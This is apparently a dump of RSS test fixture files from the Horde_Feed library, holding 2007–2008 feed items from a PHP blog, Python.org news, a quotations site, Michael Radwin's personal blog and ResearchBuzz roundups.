      ]]>       http://www.procata.com/blog/archives/2007/10/01/michigan-taxes-graphic-design-services/feed/       Ruby versus PHP or There and Back Again http://www.procata.com/blog/archives/2007/09/23/ruby-versus-php-or-there-and-back-again/ http://www.procata.com/blog/archives/2007/09/23/ruby-versus-php-or-there-and-back-again/#comments Sun, 23 Sep 2007 16:37:03 +0000 Jeff http://www.procata.com/blog/archives/2007/09/23/ruby-versus-php-or-there-and-back-again/ Well, I imagine that this opinion piece by Derick Silvers will cause some conversations: 7 reasons I switched back to PHP after 2 years on Rails. The gist being that a big bang rewrite of an existing code base is always a risk and that Rails is optimized more for the greenfield case. He talks about the beauty and power of coding in native SQL instead of database abstraction layers. I am sympathetic to that idea. He mentions hosting in that PHP is small and fast. To which I would add widely available and well known. He asks

      IS THERE ANYTHING RAILS/RUBY CAN DO THAT PHP CAN’T DO?

      And answers No with the comment

      …when I took a real emotionless non-prejudiced look at it, I realized the language didn’t matter that much.

      Now I disagree a bit here. It just happens that Ruby and PHP are equivalent in many of the ways that are important. See my post on comparing languages. PHP has some advantages with maturity, while ruby has some constructs, such as closures, that can do wonders in the hands of a skilled programmer. Yet, Ruby also has some disadvantages. I’d summarize that by saying it has all of the maintainability of perl with the commercial attitude of smalltalk.

      One of the biggest themes of the 7 reasons piece is that he was able to bring much of what he learned from his 2 year failed rewrite in Ruby back to his PHP version. But, PHP is a different world today than it was two years ago when he made the decision to leave it for Ruby. PHP 5 is a more viable option. Additionally, the PHP community has learned from Rails. Some of the things that made the Rails framework a step ahead, for example routing and url helpers, are now widely available in the PHP world for those who want to use them.

      Welcome back, we kept the light on.

      ]]>       http://www.procata.com/blog/archives/2007/09/23/ruby-versus-php-or-there-and-back-again/feed/       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.python.org-channews.rdf0000664000175000017500000003301212653701626026221 0ustar janjan Python News http://www.python.org/ Python-related news and announcements. Python is an interpreted, interactive, object-oriented programming language. Python logo http://www.python.org/images/python-logo.gif http://www.python.org/ http://www.python.org/news/index.html#Wed17Sep20082357-0400 Python 2.6rc2 and Python 3.0rc1 released

      The second release candidate for Python 2.6 and first release candidate for Python 3.0 are now available.

      ]]>       Wed, 17 Sep 2008 23:57 -0400       http://www.python.org/news/index.html#Wed12Sep20082108-0400 Python 2.6rc1 released

      The first release candidate for Python 2.6 is now available.

      ]]>       Wed, 12 Sep 2008 21:08 -0400       http://www.python.org/news/index.html#Tue9Sep20082038-0300 PyWorks 2008 Conference in Atlanta, GA, Nov 12-15

      The publishers of Python Magazine are proud to invite the Python community to PyWorks 2008 for a 3-day conference dedicated to Python, Web Development and much more.

      ]]>       Tue, 9 Sep 2008 20:38 -0300       http://www.python.org/news/index.html#Wed20Aug20082202-0400 Python 2.6beta3 and 3.0beta3 released

      The third and final beta release of Python 2.6 and the third and final beta release of Python 3.0 are now available.

      ]]>       Wed, 20 Aug 2008 22:02 -0400       http://www.python.org/news/index.html#Thu7Aug20081625-0400 PSF Community Awards go to Georg Brandl & Brett Cannon

      The latest recipients of the Python Software Foundation Community Awards are Georg Brandl and Brett Cannon, in recognition of their significant contributions to the Python community. Congratulations and thanks!

      ]]>       Thu, 7 Aug 2008 16:25 -0400       http://www.python.org/news/index.html#Tue5Aug20081908-0300 PyCon UK Registration is Open

      The conference takes place in Birmingham UK from 12th to 14th September 2008. A full programme includes a day of tutorials; bookings are being taken at http://www.pyconuk.org/booking.html. The early bird rate has been extended to 11th August.

      ]]>       Tue, 5 Aug 2008 19:08 -0300       http://www.python.org/news/index.html#Sat26Jul20081137-040 Martin von Loewis Receives 2008 Willison Award

      The 2008 Frank Willison Award goes to Martin von Loewis for his many contribtions to Python and its community

      ]]>       Sat, 26 Jul 2008 11:37 -040       http://www.python.org/news/index.html#Wed17Jul20082302-0400 Python 2.6beta2 and 3.0beta2 released

      The second beta release of Python 2.6 and the second beta release of Python 3.0 are now available.

      ]]>       Wed, 17 Jul 2008 23:02 -0400       http://www.python.org/news/index.html#Wed18Jun20082128-0400 Python 2.6beta1 and 3.0beta1 released

      The first beta release of Python 2.6 and the first beta release of Python 3.0 are now available.

      ]]>       Wed, 18 Jun 2008 21:28 -0400       http://www.python.org/news/index.html#Wed11Jun2008735-0400 SciPy 2008 - Conference for Scientific Computing

      The 7th annual SciPy Conference The early registration deadline is July 11, 2007. The Conference will be held at Caltech in Pasadena, California the week of August 19-24. See the Call for Papers if you'd like to present.

      ]]>       Wed, 11 Jun 2008 7:35 -0400       http://www.python.org/news/index.html#Mon19May2008823-0400 EuroPython 2008 Registration is Open

      EuroPython 2008 registration is now open. A generous discount is available for early registrations until 31st May. Visit the registration page for further information!

      ]]>       Mon, 19 May 2008 8:23 -0400       http://www.python.org/news/index.html#Thu8May20081900-0500 Python 2.6alpha3 and 3.0alpha5 released

      The third alpha release of Python 2.6 and the fifth alpha release of Python 3.0 are now available.

      ]]>       Thu, 8 May 2008 19:00 -0500       http://www.python.org/news/index.html#WedMay720081230-0400 PyCon FR May 17/18 in Paris

      PyCon FR, the French national Python conference, takes place at the Cite des sciences et de la Villette on May 17 and 18

      ]]>       Wed, May 7 2008 12:30 -0400       http://www.python.org/news/index.html#Thu1May20082115-0400 PyOhio Call for Participation

      PyOhio, a regional Python miniconference, will be held July 26, 2008 in Columbus, OH. Talk proposals are due by June 1.

      ]]>       Thu, 1 May 2008 21:15 -0400       http://www.python.org/news/index.html#Thu1May20081520-0400 Python wins Linux Journal Readers' Choice Award

      Python takes the Favorite Scripting Language award, the magazine announced today.

      ]]>       Thu, 1 May 2008 15:20 -0400       http://www.python.org/news/index.html#Tue22Apr20082200-0400 SciPy Conference: Caltech, August 19-24

      The SciPy 2008 Conference will be held at Caltech again this year during the week of August 19-24, 2008. More information will be posted as the schedule matures.

      ]]>       Tue, 22 Apr 2008 22:00 -0400       http://www.python.org/news/index.html#Tue22Apr20081946-0400 Python Sprint Weekend

      A weekend of Python sprinting around the world is planned for May 10-11 to tackle issues from the Python bug tracker. See the Python wiki for more information, and join us online or at your local user group!

      ]]>       Tue, 22 Apr 2008 19:46 -0400       http://www.python.org/news/index.html#Wed16Apr200809000200 S3 Call for Participation

      The Workshop on Self-sustaining Systems (S3) 2008 will be held in Potsdam, Germany on May 14-16, 2008. The program and registration information are now available online.

      ]]>       Wed, 16 Apr 2008 09:00 +0200       http://www.python.org/news/index.html#Thu10Apr20081700-0400 EuroSciPy Call for Participation

      The EuroSciPy 2008 Conference will be held in Leipzig, Germany on July 26-27, 2008. The Call for Participation is up, and registration is open.

      ]]>       Thu, 10 Apr 2008 17:00 -0400       http://www.python.org/news/index.html#Wed9Apr20082100-0400 EuroPython 2008 Call for Participation

      EuroPython 2008 will take place in Vilnius, Lithuania from 7th July until 12th July (including sprints). Proposals for talks and activities are now welcome!

      ]]>       Wed, 9 Apr 2008 21:00 -0400       http://www.python.org/news/index.html#Fri4Apr20080900-0400 PSF Community Awards

      The first Python Software Foundation Community Awards were announced at PyCon 2008 and on the PSF Blog. Congratulations to Matthew Dixon Cowles, Brad Knowles, Peter Kropf, and Martin Thomas, and many thanks for their contributions to the Python community!

      ]]>       Fri, 4 Apr 2008 09:00 -0400       http://www.python.org/news/index.html#Wed2Apr20081800-0500 Python 2.6alpha2 and 3.0alpha4 released

      The second alpha release of Python 2.6 and the fourth alpha release of Python 3.0 are now available.

      ]]>       Wed, 2 Apr 2008 18:00 -0500       http://www.python.org/news/index.html#Mon24Mar20081944-0300 PyCon FR Call for Proposals

      PyCon Fr - Journées Python will take place in Paris, France on May 17-18, 2008. It's not too late for new proposals!

      ]]>       Mon, 24 Mar 2008 19:44 -0300       http://www.python.org/news/index.html#Tue11Mar200820140400 PyCon Italia Call for Proposals

      PyCon Italia is happening May 9-11, 2008 in Firenze -- see the Call for Papers.

      ]]>       Tue, 11 Mar 2008 20:14 +0400       http://www.python.org/news/index.html#Tue11Mar200819300100 Python 2.3.7 and 2.4.5

      The final releases of Python 2.3.7 and Python 2.4.5 are now available.

      ]]>       Tue, 11 Mar 2008 19:30 +0100       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.quotationspage.com-data-mqotd.rss0000664000175000017500000002073412653701626030222 0ustar janjan Motivational Quotes of the Day http://www.quotationspage.com/mqotd.html Four motivational quotations each day from The Quotations Page en-us rss@quotationspage.com rss@quotationspage.com (Quotes of the Day) 21 Sep 2008 01:25:02 -0000 21 Sep 2008 01:25:02 -0000 Motivational Quotes of the Day http://www.tqpage.com/qotd-button.gif http://www.quotationspage.com/qotd.html 88 31 logo This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. Og Mandino "I seek constantly to improve my manners and graces, for they are the sugar to which all are attracted." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=N6PMRM"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=N6PMRM" border="0"></img></a></p> http://www.quotationspage.com/quote/38186.html Sun, 21 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Og_Mandino Edith Sodergran "The inner fire is the most important thing mankind possesses." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=gb5GtG"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=gb5GtG" border="0"></img></a></p> http://www.quotationspage.com/quote/31224.html Sun, 21 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Edith_Sodergran Aristotle "For the things we have to learn before we can do them, we learn by doing them." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=518pHX"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=518pHX" border="0"></img></a></p> http://www.quotationspage.com/quote/2335.html Sun, 21 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Aristotle George Santayana "Before he sets out, the traveler must possess fixed interests and facilities to be served by travel." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=gDCwvq"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=gDCwvq" border="0"></img></a></p> http://www.quotationspage.com/quote/1668.html Sun, 21 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/George_Santayana Oprah Winfrey "Every time you suppress some part of yourself or allow others to play you small, you are in essence ignoring the owner's manual your creator gave you and destroying your design." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=RqenYG"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=RqenYG" border="0"></img></a></p> http://www.quotationspage.com/quote/31709.html Sat, 20 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Oprah_Winfrey George Burns "Age to me means nothing. I can't get old; I'm working. I was old when I was twenty-one and out of work. As long as you're working, you stay young. When I'm in front of an audience, all that love and vitality sweeps over me and I forget my age." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=WfzHXd"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=WfzHXd" border="0"></img></a></p> http://www.quotationspage.com/quote/3012.html Sat, 20 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/George_Burns Publilius Syrus "It is folly to punish your neighbor by fire when you live next door." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=Mv9Zov"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=Mv9Zov" border="0"></img></a></p> http://www.quotationspage.com/quote/2894.html Sat, 20 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Publilius_Syrus Lenore Hershey "Do give books - religious or otherwise - for Christmas. They're never fattening, seldom sinful, and permanently personal." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=cFdjNP"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=cFdjNP" border="0"></img></a></p> http://www.quotationspage.com/quote/1488.html Sat, 20 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Lenore_Hershey Francois de La Rochefoucauld "When we are unable to find tranquility within ourselves, it is useless to seek it elsewhere." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=ojDPOE"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=ojDPOE" border="0"></img></a></p> http://www.quotationspage.com/quote/33442.html Fri, 19 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Francois_de_La_Rochefoucauld Seneca "While the fates permit, live happily; life speeds on with hurried step, and with winged days the wheel of the headlong year is turned." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=u5DUXZ"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=u5DUXZ" border="0"></img></a></p> http://www.quotationspage.com/quote/2613.html Fri, 19 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Seneca Henry David Thoreau "There is no remedy for love but to love more." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=aeCPZx"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=aeCPZx" border="0"></img></a></p> http://www.quotationspage.com/quote/2066.html Fri, 19 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/Henry_David_Thoreau John Ruskin "In order that people may be happy in their work, these three things are needed: They must be fit for it. They must not do too much of it. And they must have a sense of success in it." <p><a href="http://feeds.feedburner.com/~a/quotationspage/mqotd?a=I72Zet"><img src="http://feeds.feedburner.com/~a/quotationspage/mqotd?i=I72Zet" border="0"></img></a></p> http://www.quotationspage.com/quote/2057.html Fri, 19 Sep 2008 00:00:00 GMT http://www.quotationspage.com/quotes/John_Ruskin Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.radwin.org-michael-blog-index.xml0000664000175000017500000005166212653701626030046 0ustar janjan Michael J. Radwin's blog http://www.radwin.org/michael/blog/ Tales of a software engineer who keeps kosher and hates the web. en-us Tue, 08 Jul 2008 20:22:27 -0800 Blogging again? Software update. http://www.radwin.org/michael/blog/2008/07/blogging_again_software_up.html David Jeske has inspired me to upgrade MovableType on radwin.org to a more modern version. Pretty seamless upgrade so far to MT 4.12 personal, but good golly, that's a way different UI than I'm used to. 1096@http://www.radwin.org/michael/blog/ The Web Sucks Tue, 08 Jul 2008 20:22:27 -0800 That Girl is Poison http://www.radwin.org/michael/blog/2008/05/that_girl_is_poison.html I just got BBD's "Poison" from The Best Of Bell Biv Devoe 20th Century Masters The Millennium Collection. Damn, I love 99 cent MP3s. Now ya know. Yo, Slick: Blow. 1091@http://www.radwin.org/michael/blog/ Books/Music/Movies Fri, 30 May 2008 07:22:01 -0800 Either We Kill Click Fraud or Click Fraud is Going to Kill the Online Ad Business http://www.radwin.org/michael/blog/2008/04/either_we_kill_click_fraud.html We got a little bit of good press today. See JackMyers Media Business Report: "Either We Kill Click Fraud or Click Fraud is Going to Kill the Online Ad Business." Anchor Intelligence Launches ClearMark. I've been at Anchor Intelligence (formerly Fraudwall Technologies) for a little over a year now. Writing code to fight the bad guys is good fun. 1088@http://www.radwin.org/michael/blog/ The Web Sucks Wed, 23 Apr 2008 09:26:30 -0800 Yael Goldie photos http://www.radwin.org/michael/blog/2008/02/yael_goldie_photos.html Professional photos from the Simchat Bat taken by Natasha Valik. Not-so-professional photos taken by me and other family members. 1086@http://www.radwin.org/michael/blog/ Radwin Family Thu, 14 Feb 2008 09:07:01 -0800 A letter to Yael Goldie Radwin on the day of her Simchat Bat http://www.radwin.org/michael/blog/2008/02/a_letter_to_yael_goldie_ra.html Dear Little One, Welcome to the world, to the community, and to our immediate family. We are overwhelmed with the joy of seeing you, of holding you, of loving the you that you are and the you that you will become. You have made such a graceful entrance into our lives, sharing with us with the sweetness of your face and surprising us with your vibrant auburn red hair. We have spent many hours this week looking at you, thinking of both what we know of you and what we hope for you, and choose for you the name Yael Goldie. In the womb, you were so active. We would watch and feel you kicking, and wonder who was in there! When you were born with the shock of red hair, we recognized the biological imperative of your feistiness. We have chosen for you a biblical name of one of the most feisty women in our tradition. Yael the Kinnite woman heroically defended the Jewish people by pinning a tent pin through the head of an enemy general, Sisera. She was a brave military heroine, resourceful enough to be both seductress and warrior as she broke through the rules in zealous protection of her people. The name Yael has three other meanings. First, and most famously, a Yael is a mountain goat, or ibex. This desert animal certainly is no match for your beauty, but is sure-footed and steady on rough desert terrain. Secondly, Yael can also mean to ascend, or go up. The letters of "Yael" are from a similar root of "aliyah," moving towards Torah, Jerusalem, or God. We hope that you find your own aspirations of height, and move towards them with the sure-footedness of your namesake. There is yet one more possible meaning of Yael, perhaps one of the foremost considerations when picking your name. While Yael in Hebrew is spelled yod-ayin-lamed, the syllables suggest a different spelling of: "Yah"- "el"-- two names for God. The name said out loud is in itself an affirmation of God. It also shares something in common with both of your parents-- the names Michael and Ariella both use "el" to refer to God. We hope that you will find meaning, as we do, in a name that carries within it the name of God. Your middle name is Goldie, which we know is an unusual name for a little girl born in 2008. Your namesake, Goldie Kassel was born 110 years ago, and yet you are the first little girl to be born in the family since she passed away in 2001. Your grandmother will speak to you more about her own grandmother, but we just wanted to reflect the very gentle way that Goldie Offenbach was, in her own way, an incredibly fesity woman. She possessed about her an incredible zest for life, and she found her own feistiness giggling her way through life. We hope for you the same infectious fun. For your Hebrew middle name, rather than choose a translation of "Goldie," we choose the name Gila, which means joy. It seems a rather fitting tribute to your great-great-grandmother, and also a fitting name for you, named just a few days into the month of Adar, a month of rejoicing. And it is indeed a month for our family to rejoice in the addition of you. You enter our immediate family as a second child. Your older brother Noam has been awaiting your arrival so eagerly, rehearsing over and over the narrative of how you would be born, where you would sleep, and the love you would bring. Eleven days into your life, he is eager to hold you, to give you hugs and kisses goodnight, and to always account for your whereabouts. Enjoy it the best you can. Enjoy the close relationship you have with him, even though it is occasionally perilous these days. Nonetheless, we hope that as you grow, you continue to hold onto that closeness and share your life with him. You are also blessed to have a large extended family which is eager to love you. Today you have celebrating with you aunts and uncles, cousins, grandparents, great-aunts and uncles and great-grandparents who have come together to witness the miracle of you, to welcome you and bring you much love. As we write this letter to you, we also want to take a moment to reflect to you our hopes and prayers for what we hope will be a wonderful life in front of you. We know that we will have many more opportunities to speak to you, but today we are struck by the family, the community, and the world, and how you may change the places where you tread. We ask you to be a good citizen in the world around you. Be mindful of other people, and strive towards righteousness. Take care of the planet. Take care of yourself-- of your body and of your emotional state. Make good friends, and keep them forever. Do acts of justice and kindness. Study hard, learn things, and use the knowledge to make the world a better place. Share your wisdom with the greater community, become a sage, be a person that others admire. Thrive. We know that these are tall orders for a little person just 11 days old, but we hope that you will have a long healthy life to carry them out. Never stop trying. Who you are will leave an imprint on the people around you and the world at large. You will leave a unique mark on the world simply by being the best version of yourself that you can be, by finding your calling, and pursuing it. As your parents, we pledge to support the paths you choose in whatever ways we can. We are so happy to welcome you to our family. Welcome, welcome, Brucha ha-ba-ah, Yael Goldie. Love, Ema and Abba 1085@http://www.radwin.org/michael/blog/ Radwin Family Sun, 10 Feb 2008 17:02:35 -0800 It's a girl! http://www.radwin.org/michael/blog/2008/01/its_a_girl.html DSC_4366 Originally uploaded by mradwin Baby Girl Radwin was born January 31, 2008 at 2:40am. She weighed in at 8 lbs, 8 oz and is 19 1/2" long. Mom and baby are doing great, Noam is a proud big brother, and Abba is on cloud nine. 1084@http://www.radwin.org/michael/blog/ Radwin Family Thu, 31 Jan 2008 17:22:09 -0800 I want a DadGear Cargo Baby Gear Jacket http://www.radwin.org/michael/blog/2007/06/i_want_a_dadgear_cargo_bab.html Costco DadGear Cargo Baby Gear Jacket Changing Pad, Diaper, Wipes and Bottle Pockets $69.99 Plus Shipping & Handling Fatherhood hasn't changed my general consumerist lust for new things. It has merely shifted it to a whole new class of products I didn't know I needed until now. The concept behind the DadGear style is simple - a masculine look combined with high quality materials and thoughtful design. The goal for DadGear products is not just neutral or unfeminine, but style that reflects who we are - guys. Guys who take pride in caring for their kids. Oh, and I want an iPhone, too. 1079@http://www.radwin.org/michael/blog/ Radwin Family Tue, 19 Jun 2007 21:07:48 -0800 Software Engineer, Java - Click Fraud Prevention http://www.radwin.org/michael/blog/2007/06/software_engineer_java_cli.html Want to build something that hunts down the bad guys and puts 'em out of business? Got experience building complex systems in Java? Fraudwall Technologies has the job for you. We're looking for engineers at all experience levels who want to help build a massive data processing and modeling pipeline, using cutting-edge machine learning and network forensics. You'll be writing code that will make real-time decisions to prevent click fraud, and there's going to be a fire hose of data coming at you. This particular job comes with as much responsibility as you can handle. You won't just be writing code; you'll be doing design, architecture, implementation, testing, support, and more. Passion, talent, and raw brains are more important than tons of industry experience. Required experience: * 3-5 years of software development in Java (top-notch C++ and C# engineers can apply, too) * Superb understanding of data structures and algorithms * Effective communication skills: you'll have to be able to fluently communicate with modelers/analysts, business people, and other coders * Experience with Unix/Linux, and relational databases such as MySQL or Oracle * BS or MS in Computer Science or equivalent Desirable experience: * Machine learning, information retrieval, TCP/IP internals * Java frameworks: Hibernate, Servlets, Jakarta Commons * Proficiency with scripting languages such as Python or Perl About the company: Fraudwall Technologies provides advertising networks and advertisers with a pioneering solution for identifying click fraud. Fraudwall combines cutting edge science with the aggregation of data and characteristics from networks, search engines, and advertisers into one complete scalable solution. Fraudwall values honesty and integrity in dealing with each other and with our partners and customers. We offer competitive salaries, 401K, stock options, and health, dental, and vision plans. And of course, we provide an opportunity to work with world-class fraudfighters, systems builders, and serial entrepreneurs. All positions are for our office in Palo Alto, California. Send your resume to michael.radwin@fraudwall.net 1078@http://www.radwin.org/michael/blog/ Computer Science Fri, 15 Jun 2007 15:08:23 -0800 MySQL User Defined Functions for FNV (Fowler/Noll/Vo) Hash http://www.radwin.org/michael/blog/2007/03/mysql_user_defined_functio.html 1076@http://www.radwin.org/michael/blog/ Open Source Wed, 28 Mar 2007 15:56:22 -0800 <![CDATA[Time It Right™: home automation based on the Jewish Calendar]]> http://www.radwin.org/michael/blog/2006/10/time_it_right_home_automat.html 1072@http://www.radwin.org/michael/blog/ Judaism Mon, 30 Oct 2006 17:47:58 -0800 php.ini hacks: --with-config-file-scan-dir and ini variable expansion http://www.radwin.org/michael/blog/2006/07/phpini_hacks_withconfigfil.html I whipped up a quick 3-minute presentation entitled php.ini hacks for today's PHP Lightning Talks session at the O'Reilly Open Source Convention. It demonstrates two features: The --with-config-file-scan-dir option to ./configure ini variable expansion ("open_basedir = ${open_basedir}:/tmp") Why? Because George and Laura asked me to, and this is all I could think of with 20 minutes notice. And because the ini variable expansion feature isn't documented anywhere on the php.net website except for a passing reference in the PHP 5 ChangeLog: Added possibility to access INI variables from within .ini file. (Andrei) Tomorrow I'll be giving a talk entitled Hacking Apache HTTP Server at Yahoo! It's a repeat performance of the well-attended presentation I gave at ApacheCon 2005. 1065@http://www.radwin.org/michael/blog/ Open Source Wed, 26 Jul 2006 18:12:51 -0800 Kosher Gummi Bears from Amazon.com http://www.radwin.org/michael/blog/2006/06/kosher_gummi_bears_from_am.html I just got a 16-pack of Planet Harmony Organic Fruit Bears from Amazon.com's new Grocery service for a mere 15 bucks. It arrived in two short days because it was elligible for Amazon Prime; Amazon.com is actually stocking inventory for grocery items and not just acting as a conduit for 3rd-party supermarkets like Gristedes. Plus, these gummi bears have a hechsher from Rabbi Eli Frankel's Kosher Certification Service. Sweet. (pun intended) 1062@http://www.radwin.org/michael/blog/ Food Wed, 28 Jun 2006 20:11:27 -0800 JPod by Douglas Coupland http://www.radwin.org/michael/blog/2006/06/jpod_by_douglas_coupland.html Last night I finished reading JPod, Douglas Coupland's "sequel" to Microserfs. Very entertaining and a quick read. I haven't laughed out loud reading a book in months. JPod has been described as "Microserfs for the Google generation", but perhaps "Microserfs for the EA generation" would be more appropriate, given the setting of a bunch of coders working for a videogame company. I had assumed that jPod had something to do with Apple's iPod (perhaps a "jPod = ++iPod;" joke of sorts), but you know what happens when you make an assumption. (You make an ass out of u and mption.) As we find out on page 47, the book is called jPod because the characters work in a part of the cubicle farm where each employee's last name begins with the letter J. The book was a little darker than Microserfs (murder, people smuggling, forced heroin addiction and slavery) but par for the course for Coupland. Still not as good as my favorite Coupland novel (the underappreciated Miss Wyoming) but it's among his top best work. 1061@http://www.radwin.org/michael/blog/ Books/Music/Movies Sun, 11 Jun 2006 09:46:59 -0800 Back at work http://www.radwin.org/michael/blog/2006/04/back_at_work.html Meet Schmichael Originally uploaded by evangoer. I'm back at work after my paternity leave. The last three months have been an incredible experience, and I'd heartily recommend taking FMLA/CaPFL to any dads-to-be. Apparently my team found a suitable replacement for me while I was out. 1058@http://www.radwin.org/michael/blog/ Yahoo! Mon, 24 Apr 2006 22:18:15 -0800 Migrating MVHS Alumni Directory data from BerkleyDB to MySQL http://www.radwin.org/michael/blog/2006/03/migrating_mvhs_alumni_dire.html I recently rewrote large parts of the MVHS Alumni Directory to use MySQL instead of BerkleyDB. I've been on paternity leave from Yahoo! for 7 weeks now, and this is one of the few projects on my todo list that I have actually completed. I've been maintaining this list of alumni for over 10 years. It began as a bunch of Perl 4 scripts and a single text file (colon-delimited, a la /etc/passwd) back when I was an undergraduate in college, and has morphed over the years as I have moved from ISP to ISP. I was forced to port it to Perl 5 at one point when one of my ISPs did an OS upgrade, and although I got it to work, there was no way I was going to go through the pain to make it use strict. Later, I rewrote all of the DBM access routines to use DB_File::Lock to avoid race conditions that occasionally corrupted the data. At the end of last year, my ISP (DreamHost) upgraded their Linux distro from Perl 5.6 to Perl 5.8 and everthing broke again. Plus, the BerkleyDB file format on their new distro was incompatible with the old files, so I had to recreate the files from a text dump. I got it working again with a little hackery, but still wasn't ready to spend the time to dump BerkleyDB for MySQL. Well, it's finally done. The only new functionality is an RSS feed for each graduating class. It was fun to do a little bit of hacking. The new version is about 7,000 lines of code, and it's still very ugly, largely because I have tried to adhere to the Principle of Least Change, and I wasn't such a great coder back in 1995. Download it if you so desire; it is released under the BSD License. The README needs a little updating, but the Makefile should actually work. 1055@http://www.radwin.org/michael/blog/ Open Source Wed, 22 Mar 2006 20:26:22 -0800 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.researchbuzz.com-researchbuzz.rss0000664000175000017500000011536012653701626030342 0ustar janjan ResearchBuzz http://www.researchbuzz.org/wp News about search engines, databases, and other information collections. Sat, 12 Jul 2008 20:48:37 +0000 http://wordpress.org/?v=2.5.1 en ResearchBuzz Roundup 071108 http://feeds.feedburner.com/~r/researchbuzz/main/~3/333776403/ http://www.researchbuzz.org/wp/2008/07/11/researchbuzz-roundup-071108/#comments Fri, 11 Jul 2008 20:47:16 +0000 admin http://www.researchbuzz.org/wp/?p=703 Here&#8217;s something you don&#8217;t see every day &#8212; a fax machine recall. Mapping the Northern California Wildfires. Discussion on the launch of LexMonitor. Steven is bitter. And I don&#8217;t blame him. Mozilla sets Firefox download record. Just over 8 million in 24 hours! Hm. Microsoft bought Powerset? Google talks about its new privacy link. AdSense [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=iQiW7J"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=iQiW7J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=sn8jQJ"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=sn8jQJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=RY8nlj"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=RY8nlj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=2tktdJ"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=2tktdJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/333776403" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/07/11/researchbuzz-roundup-071108/feed/ http://www.researchbuzz.org/wp/2008/07/11/researchbuzz-roundup-071108/ ResearchBuzz Roundup 062808 http://feeds.feedburner.com/~r/researchbuzz/main/~3/322591405/ http://www.researchbuzz.org/wp/2008/06/28/researchbuzz-roundup-062808/#comments Sat, 28 Jun 2008 13:46:47 +0000 admin http://www.researchbuzz.org/wp/?p=702 Bibliothèque de Toulouse&#8217;s on Flickr! Terrific. I saw this screenshot and yelled &#8220;AAAH! It&#8217;s the first issue of Wired!&#8221; More real-time quotes on Google Finance. A Science Conference in World of Warcraft. Whee! Real Life Snail Mail. Is the Internet just out to prove how weird it is? Ask.com blog: Ask.com Makes More Moves on Privacy. I had [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=0E9EVI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=0E9EVI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=rNYQmI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=rNYQmI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=VKNcyi"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=VKNcyi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=UTrgsI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=UTrgsI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/322591405" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/28/researchbuzz-roundup-062808/feed/ http://www.researchbuzz.org/wp/2008/06/28/researchbuzz-roundup-062808/ ResearchBuzz Roundup 062508 http://feeds.feedburner.com/~r/researchbuzz/main/~3/320506413/ http://www.researchbuzz.org/wp/2008/06/25/researchbuzz-roundup-062508/#comments Wed, 25 Jun 2008 12:55:42 +0000 admin http://www.researchbuzz.org/wp/?p=701 Congrats to BabyBoomer Librarian for one thousand posts. University Presses are hooking up with Kindle. Jon Orwant and Jarkko Hietaniemi deserve a medal. Someone is going to do something wonderful with this. JupiterResearch: one quarter of world&#8217;s population will be online by 2012. LexisNexis expands its Congressional Digital Collection. FictionDB is now free. Rawk! What&#8217;s new with [...]<div class="feedflare"> <a 